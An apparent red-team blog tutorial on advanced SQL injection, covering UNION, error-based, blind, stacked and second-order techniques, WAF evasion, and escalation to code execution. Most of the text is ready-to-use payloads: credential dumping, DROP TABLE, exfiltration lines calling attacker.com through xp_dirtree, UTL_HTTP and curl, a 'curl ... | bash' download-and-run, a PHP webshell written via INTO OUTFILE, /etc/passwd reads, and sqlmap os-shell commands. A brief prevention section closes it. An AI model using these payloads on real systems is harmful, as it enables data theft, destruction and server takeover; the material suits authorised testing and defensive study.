Greetings, fellow hackers and pen testers! As we continue to explore the depths of web application security, we cannot overlook the importance of advanced SQL injection techniques. This powerful and versatile attack vector remains a persistent threat to web applications - still appearing in the OWASP Top 10 in 2024. Today, we’ll dive into the fascinating world of SQL injection, covering advanced techniques, manual exploitation, and evasion methods that will serve you well on real-world engagements.

SQL Injection (SQLi) is more than just dumping passwords; it’s a potential gateway to Remote Code Execution (RCE) and full infrastructure compromise. A SQL injection in a web application can lead to:

  • Data Exfiltration: Dumping entire databases, including credentials, PII, and intellectual property.
  • Authentication Bypass: Logging in as any user, including administrators.
  • Data Manipulation: Modifying or deleting critical records.
  • Remote Code Execution: Using database features like xp_cmdshell (MSSQL) or COPY TO PROGRAM (PostgreSQL) to execute OS commands.
  • Lateral Movement: Pivoting to internal systems via database links or by dumping credentials stored in the database.

1. SQL Injection Types: A Taxonomy

Before we dive into exploitation, let’s establish a clear taxonomy of SQL injection types.

In-Band SQLi (Classic)

The attacker uses the same channel to inject the payload and retrieve results.

  • UNION-Based: Results of the injected query are directly returned in the application’s response.
  • Error-Based: The database’s error messages reveal data.

Inferential SQLi (Blind)

The database does not return data directly; the attacker infers information based on the application’s behavior.

  • Boolean-Based Blind: The application returns different responses (e.g., “Welcome” vs. “Invalid”) based on whether a condition is true or false.
  • Time-Based Blind: The application’s response time reveals information (e.g., if SLEEP(5) is executed, the response takes 5 seconds longer).

Out-of-Band (OOB) SQLi

The attacker forces the database server to make an external network connection (DNS or HTTP) to a server they control.

  • Used when in-band and blind techniques are unreliable or blocked.
  • Requires the database to have network access and the relevant features enabled.

Second-Order SQLi

The malicious payload is not executed immediately. Instead, it is stored in the database and executed later when retrieved by a different query.

  • Extremely difficult to detect with automated scanners.
  • Common in applications that store user input and later use it in dynamic SQL.

2. Manual UNION-Based Exploitation: The Surgeon’s Knife

While sqlmap is a fantastic tool, a professional red teamer can do it by hand. Manual exploitation is often the only way to bypass a strict WAF that fingerprints automated tool behavior. It also provides a deeper understanding of what’s actually happening.

Step 1: Confirm the Injection Point

Always start by confirming that user input is being incorporated into a SQL query unsafely.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11

# Original request
GET /products?id=1

# Test for numeric injection (no quotes)
GET /products?id=1 AND 1=1       # Should behave normally
GET /products?id=1 AND 1=2       # Should behave differently (e.g., no results)

# Test for string injection (quotes)
GET /products?id=1'              # Should cause an error or different behavior
GET /products?id=1' AND '1'='1   # Should behave normally
GET /products?id=1' AND '1'='2   # Should behave differently

Step 2: Determine Column Count with ORDER BY

We use ORDER BY to find the number of columns returned by the original query. This is essential for UNION-based attacks because the number of columns in the injected query must match the original.

1
2
3
4

' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3--
' ORDER BY 4--  -- If this causes an error, the query has 3 columns.

[!TIP] If -- (double-dash comment) doesn’t work, try # (MySQL), /* */ (block comment), or --+ (URL-encoded space).

Step 3: Identify Reflectable Columns with UNION SELECT

Now we find which columns accept string data and are displayed in the response using UNION SELECT. We need to ensure our injected data appears somewhere visible.

1
2
3
4
5
6
7

-- For 3 columns
' UNION SELECT NULL,NULL,NULL--

-- Replace NULLs with test values one at a time
' UNION SELECT 'a',NULL,NULL--
' UNION SELECT NULL,'a',NULL--
' UNION SELECT NULL,NULL,'a'--

When the page displays the character 'a', you’ve found your “sink” - the column that reflects data back to you. If no data is reflected, you may be dealing with a Blind injection.

Step 4: Fingerprint the Database

Before extracting data, identify the database management system (DBMS). The syntax for metadata queries differs between systems.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16

-- MySQL / MariaDB
' UNION SELECT NULL,@@version,NULL--
' UNION SELECT NULL,version(),NULL--

-- Microsoft SQL Server (MSSQL)
' UNION SELECT NULL,@@version,NULL--

-- PostgreSQL
' UNION SELECT NULL,version(),NULL--

-- Oracle (note: requires FROM dual)
' UNION SELECT NULL,banner,NULL FROM v$version--
' UNION SELECT NULL,(SELECT banner FROM v$version WHERE ROWNUM=1),NULL FROM dual--

-- SQLite
' UNION SELECT NULL,sqlite_version(),NULL--

Step 5: Extract Database Metadata

Now, list the databases, tables, and columns.

MySQL:

1
2
3
4
5
6
7
8

-- List all databases
' UNION SELECT NULL,schema_name,NULL FROM information_schema.schemata--

-- List tables in the current database
' UNION SELECT NULL,table_name,NULL FROM information_schema.tables WHERE table_schema=database()--

-- List columns in a specific table
' UNION SELECT NULL,column_name,NULL FROM information_schema.columns WHERE table_name='users'--

Microsoft SQL Server (MSSQL):

1
2
3
4
5
6
7
8

-- List all databases
' UNION SELECT NULL,name,NULL FROM master.sys.databases--

-- List tables in the current database
' UNION SELECT NULL,name,NULL FROM sys.tables--

-- List columns in a specific table
' UNION SELECT NULL,name,NULL FROM sys.columns WHERE object_id=OBJECT_ID('users')--

PostgreSQL:

1
2
3
4
5
6
7
8

-- List all databases
' UNION SELECT NULL,datname,NULL FROM pg_database--

-- List tables
' UNION SELECT NULL,table_name,NULL FROM information_schema.tables WHERE table_schema='public'--

-- List columns
' UNION SELECT NULL,column_name,NULL FROM information_schema.columns WHERE table_name='users'--

Step 6: Dump Sensitive Data

Finally, extract the data you’re after.

1
2
3
4
5
6
7
8

-- MySQL: Dump usernames and passwords
' UNION SELECT NULL,CONCAT(username,':',password),NULL FROM users--

-- MSSQL: Concatenation uses +
' UNION SELECT NULL,username+':'+password,NULL FROM users--

-- PostgreSQL: Concatenation uses ||
' UNION SELECT NULL,username||':'||password,NULL FROM users--

3. Error-Based SQL Injection

When UNION-based injection isn’t possible (e.g., the query output isn’t displayed), but errors are, we can force the database to leak data within error messages.

MSSQL: CONVERT Errors

1

' AND 1=CONVERT(int,(SELECT TOP 1 username FROM users))--

If the username is “admin”, the error might say: Conversion failed when converting the nvarchar value 'admin' to data type int.

MySQL: EXTRACTVALUE / UPDATEXML

These XML functions can be abused to generate errors containing query results.

1
2
3
4

' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT user()),0x7e))--
-- Error: XPATH syntax error: '~root@localhost~'

' AND UPDATEXML(1,CONCAT(0x7e,(SELECT database()),0x7e),1)--

PostgreSQL: CAST Errors

1
2

' AND 1=CAST((SELECT username FROM users LIMIT 1) AS int)--
-- Error: invalid input syntax for type integer: "admin"

4. Blind SQL Injection

When there’s no visible output or error messages, we must infer data from changes in the application’s behavior.

Boolean-Based Blind

The application returns different content based on whether the injected condition is true or false.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15

-- Step 1: Confirm the injection
' AND 1=1--  (Page displays normally)
' AND 1=2--  (Page is empty or different)

-- Step 2: Extract data character by character
-- Is the first character of the database name greater than 'm'?
' AND SUBSTRING(database(),1,1)>'m'--

-- Binary search to find the exact character
' AND SUBSTRING(database(),1,1)='t'--
' AND SUBSTRING(database(),1,1)='e'--
' AND SUBSTRING(database(),1,1)='s'-- (True! First char is 's')

-- Extract second character
' AND SUBSTRING(database(),2,1)='e'--

This is slow (extracting 10 characters requires ~80 requests with binary search), which is why sqlmap exists.

Time-Based Blind

When even the boolean difference isn’t visible (e.g., the page always looks the same), we use time delays.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12

-- MySQL
' AND IF(1=1,SLEEP(5),0)--  (Response takes 5 seconds)
' AND IF(1=2,SLEEP(5),0)--  (Response is immediate)

-- MSSQL
'; IF (1=1) WAITFOR DELAY '0:0:5'--

-- PostgreSQL
'; SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END--

-- Oracle (requires PL/SQL execution)
'; BEGIN IF (1=1) THEN dbms_lock.sleep(5); END IF; END;--

Extract data:

1
2

-- MySQL: Is the first character of the DB name 's'?
' AND IF(SUBSTRING(database(),1,1)='s',SLEEP(5),0)--

[!WARNING] Time-based injection can be slow and unreliable on networks with variable latency. Always calibrate your baseline response time first. If normal requests take 500ms and your target sleep is 5 seconds, the delay will be obvious. If network jitter is 3 seconds, you’ll get false positives.

5. Stacked Queries

Some database/driver combinations allow multiple SQL statements separated by semicolons to be executed in a single request.

1
2

'; DROP TABLE users;--
'; INSERT INTO users (username, password) VALUES ('hacker','pwned');--

Supported Databases:

  • MSSQL: Yes (widely supported).
  • PostgreSQL: Yes.
  • MySQL: Depends on the driver. PHP’s mysql_query() does not support stacked queries, but mysqli_multi_query() and PDO might.
  • Oracle: No.
  • SQLite: Yes, via executescript().

Stacked queries are powerful for:

  • Data manipulation (INSERT, UPDATE, DELETE).
  • Enabling dangerous features ('; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;--).
  • Time-based blind attacks on databases that don’t support inline time functions.

6. Second-Order SQL Injection

Second-Order SQLi (also called Stored SQLi) occurs when user-supplied data is stored in the database and later incorporated into an SQL query without proper sanitization.

Scenario:

  1. An attacker registers a new user with the username: admin'--
  2. The application safely inserts this into the users table using parameterized queries. No immediate injection occurs.
  3. Later, an administrative function retrieves the username and uses it in a dynamically constructed query:
    1
2

    $username = get_username_from_db($user_id);  // Returns "admin'--"
$query = "SELECT * FROM orders WHERE user = '$username'";
  4. The resulting query becomes: SELECT * FROM orders WHERE user = 'admin'--' The attacker is now viewing the admin’s orders.

Why Second-Order SQLi is Dangerous:

  • It evades many automated scanners because the injection point and the execution point are different.
  • The input may be validated on entry but trusted on retrieval.
  • It requires careful code review and data flow analysis to find.

Detection:

  • Register accounts with SQLi payloads as usernames, emails, or other stored fields.
  • Monitor for unexpected behavior in features that display or use this stored data (profile pages, admin dashboards, export functions).

7. WAF Evasion Techniques

Web Application Firewalls (WAFs) love to block keywords like SELECT, UNION, and OR 1=1. Red teamers must be creative.

Comment Injection

Many WAFs are confused by internal comments.

1
2
3
4
5

-- Bypassing with inline comments (MySQL specific)
UN/**/ION SEL/**/ECT 1,2,3--

-- Version comments (MySQL): Executed only if server version >= 5.00.00
/*!50000UNION*/ /*!50000SELECT*/ 1,2,3--

Case Manipulation

Standard SQL is case-insensitive for keywords, but many WAF regex patterns are case-sensitive.

1
2

uNiOn sElEcT 1,2,3--
UnIoN aLl SeLeCt 1,2,3--

Encoding

URL-encode your payload. Double-encoding can bypass WAFs that decode once.

1
2
3
4
5

-- Standard URL Encoding
%55%4e%49%4f%4e%20%53%45%4c%45%43%54%20%31%2c%32%2c%33--

-- Double URL Encoding
%2555%254e%2549%254f%254e (UNION)

Hex Encoding Strings (MySQL)

Replace string literals with their hex equivalents.

1
2

' UNION SELECT 1,0x61646d696e,3--
-- 0x61646d696e is the hex encoding of "admin"

Whitespace Substitution

Replace spaces with other characters that SQL parsers accept but WAFs might not expect.

1
2
3
4
5
6
7
8

-- Tab character (%09)
'%09UNION%09SELECT%091,2,3--

-- Newline (%0A)
'%0aUNION%0aSELECT%0a1,2,3--

-- Inline comments as whitespace
'/**/UNION/**/SELECT/**/1,2,3--

HTTP Parameter Pollution (HPP)

Some WAFs only inspect the first occurrence of a parameter, while the application might concatenate them or use the last one.

1

GET /vuln?id=1&id=' UNION SELECT 1,2,3--

JSON/XML Payloads

If the application accepts JSON or XML, the WAF might not parse these formats as thoroughly.

1
2
3

{
  "id": "1' UNION SELECT 1,user(),3--"
}

8. Out-of-Band (OOB) Exfiltration

When in-band (UNION, Error) and Blind techniques fail or are too slow, OOB exfiltration forces the database to connect to an attacker-controlled server.

Requirements:

  • The database server must have network egress.
  • Relevant database features (e.g., xp_dirtree, UTL_HTTP) must be enabled.

DNS Exfiltration

DNS is often allowed through firewalls. We force the database to resolve a hostname containing the exfiltrated data.

MSSQL:

1
2

-- Force a DNS lookup; the subdomain contains the query result
'; DECLARE @data VARCHAR(1024); SELECT @data = user; EXEC('master..xp_dirtree "\\' + @data + '.attacker.com\foo"')--

Check your DNS logs (e.g., using nslookup, tcpdump, or a Burp Collaborator) for queries like sa.attacker.com.

Oracle:

1

SELECT UTL_INADDR.get_host_address((SELECT user FROM dual)||'.attacker.com') FROM dual;

PostgreSQL:

PostgreSQL doesn’t have a built-in DNS function, but you can use COPY TO PROGRAM if you have sufficient privileges:

1

COPY (SELECT '') TO PROGRAM 'nslookup $(whoami).attacker.com';

HTTP Exfiltration

If HTTP egress is allowed:

Oracle (UTL_HTTP):

1

SELECT UTL_HTTP.REQUEST('http://attacker.com/' || (SELECT user FROM dual)) FROM dual;

PostgreSQL (COPY TO PROGRAM):

1

COPY (SELECT '') TO PROGRAM 'curl http://attacker.com/?data=$(whoami)';

MSSQL (xp_cmdshell):

1

'; EXEC xp_cmdshell 'curl http://attacker.com/?data=%USERNAME%'--

Tools for OOB Testing

  • Burp Collaborator: Built into Burp Suite Professional.
  • Interactsh: Free, open-source OOB interaction server.
  • DNSLog: Simple online DNS logger.

9. From SQLi to Remote Code Execution

The ultimate goal of many SQLi attacks is RCE. Here’s how to achieve it on different platforms.

MSSQL: xp_cmdshell

1
2
3
4
5
6
7

-- Enable xp_cmdshell (requires sysadmin)
'; EXEC sp_configure 'show advanced options', 1; RECONFIGURE;--
'; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;--

-- Execute commands
'; EXEC xp_cmdshell 'whoami';--
'; EXEC xp_cmdshell 'powershell -enc BASE64_ENCODED_PAYLOAD';--

PostgreSQL: COPY TO PROGRAM

Requires superuser privileges.

1
2

'; COPY (SELECT '') TO PROGRAM 'id';--
'; COPY (SELECT '') TO PROGRAM 'curl http://attacker.com/shell.sh | bash';--

Alternatively, use Large Object functions:

1
2

'; SELECT lo_export(12345, '/tmp/shell.sh');-- (after importing shellcode)
'; COPY (SELECT '') TO PROGRAM 'bash /tmp/shell.sh';--

MySQL: INTO OUTFILE / LOAD_FILE

MySQL can write files to the filesystem (if secure_file_priv allows):

1

' UNION SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php'--

Read files:

1

' UNION SELECT LOAD_FILE('/etc/passwd'),2,3--

Oracle: Java Stored Procedures / Scheduler Jobs

If Java is installed in Oracle, you can create a Java stored procedure to execute OS commands. This is complex and typically requires DBA privileges.

10. Weaponizing SQLMap for Professionals

Don’t just run sqlmap -u [URL]. Use the advanced flags to bypass modern defenses and maximize efficiency.

Essential Flags

1
2
3
4
5
6
7
8

# Specify injection point with * marker
sqlmap -u "http://target.com/page?id=1*" --batch

# Test all parameters, including headers
sqlmap -u "http://target.com/page?id=1" --level=5 --risk=3

# Level 5 tests: Cookie, User-Agent, Referer, X-Forwarded-For headers
# Risk 3 includes: OR-based injections, heavy time-based injections, stacked queries

WAF Evasion with Tamper Scripts

1
2
3
4
5
6
7
8

# List available tamper scripts
sqlmap --list-tampers

# Common bypass combination
sqlmap -u "http://target.com/?id=1" --tamper=space2comment,randomcase,between

# MySQL WAF bypass
sqlmap -u "..." --tamper=charencode,space2mssqlhash,versionedkeywords

Data Exfiltration

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11

# Dump all databases
sqlmap -u "..." --dbs

# Dump tables from a specific database
sqlmap -u "..." -D target_db --tables

# Dump columns from a specific table
sqlmap -u "..." -D target_db -T users --columns

# Dump specific columns
sqlmap -u "..." -D target_db -T users -C username,password --dump

Post-Exploitation

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11

# Get an OS shell (MSSQL/PostgreSQL)
sqlmap -u "..." --os-shell

# Get a SQL shell
sqlmap -u "..." --sql-shell

# Read a file
sqlmap -u "..." --file-read=/etc/passwd

# Write a file (webshell)
sqlmap -u "..." --file-write=shell.php --file-dest=/var/www/html/shell.php

Proxying and Logging

1
2
3
4
5

# Proxy through Burp to analyze requests
sqlmap -u "..." --proxy=http://127.0.0.1:8080

# Save traffic to a file
sqlmap -u "..." -t traffic.txt

11. Prevention and Mitigation

While we focus on exploitation, understanding defenses is crucial for writing comprehensive reports.

The Gold Standard: Parameterized Queries (Prepared Statements)

1
2
3
4
5

# VULNERABLE (string concatenation)
cursor.execute("SELECT * FROM users WHERE id = '" + user_id + "'")

# SAFE (parameterized query)
cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,))

Parameterized queries ensure that user input is always treated as data, never as SQL code.

Defense in Depth

  1. Least Privilege: The database user for the web application should never be sa, root, or postgres. It should have only the minimum permissions required (SELECT on specific tables, no DDL, no xp_cmdshell).
  2. Database Hardening:
    • Disable dangerous procedures: xp_cmdshell (MSSQL), UTL_HTTP/UTL_FILE (Oracle), lo_export (PostgreSQL).
    • Set secure_file_priv (MySQL) to restrict LOAD_FILE and INTO OUTFILE.
    • Disable stacked queries at the driver level if not needed.
  3. Input Validation: Whitelist allowed characters for fields like usernames. Reject inputs containing SQL metacharacters when appropriate (though this should not be the primary defense).
  4. WAF Rules: Deploy a WAF with custom rules for your application’s specific parameters. Assume the WAF will be bypassed and layer other defenses.
  5. Error Handling: Never display raw database errors to users. Log them server-side and show a generic error message.
  6. ORM Usage: Object-Relational Mappers (ORMs) like SQLAlchemy, Hibernate, and Django ORM generally use parameterized queries under the hood, reducing the attack surface.

Conclusion

Advanced SQL injection is a game of cat and mouse. As defenders adopt parameterized queries and WAFs, red teamers must become more surgical, employing manual UNION techniques, error-based extraction, blind inference, and OOB exfiltration. Second-order injection reminds us that security must be applied consistently, not just at the point of input.

The database is the heart of the organization. It stores credentials, customer data, financial records, and intellectual property. Master the injection, and you own the heart.

Happy hacking!

References